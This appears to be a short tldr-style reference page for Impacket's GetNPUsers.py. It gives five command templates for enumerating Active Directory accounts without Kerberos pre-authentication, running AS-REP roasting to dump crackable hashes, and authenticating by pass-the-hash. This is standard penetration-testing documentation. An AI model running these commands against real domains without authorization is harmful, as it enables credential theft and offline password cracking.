commands.sh

GetNPUsers.py

all

Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks. Part of the Impacket suite.

More info →

Examples (5)

Enumerate users with Kerberos pre-authentication disabled (default anonymous enumeration)

GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -no-pass

Perform AS-REP roasting and dump crackable hashes for offline cracking

GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -no-pass -request

Authenticate with valid credentials (if anonymous binding is disabled)

GetNPUsers.py domain/username:password -usersfile path/to/userslist -dc-ip domain_controller_ip

Use pass-the-hash authentication instead of a password

GetNPUsers.py domain/username -hashes LM_Hash:NT_Hash -usersfile path/to/userslist -dc-ip domain_controller_ip

Save the output to a file for further analysis

GetNPUsers.py domain/ -usersfile path/to/userslist -dc-ip domain_controller_ip -request > path/to/output.txt
made by @shridhargupta | data from tldr-pages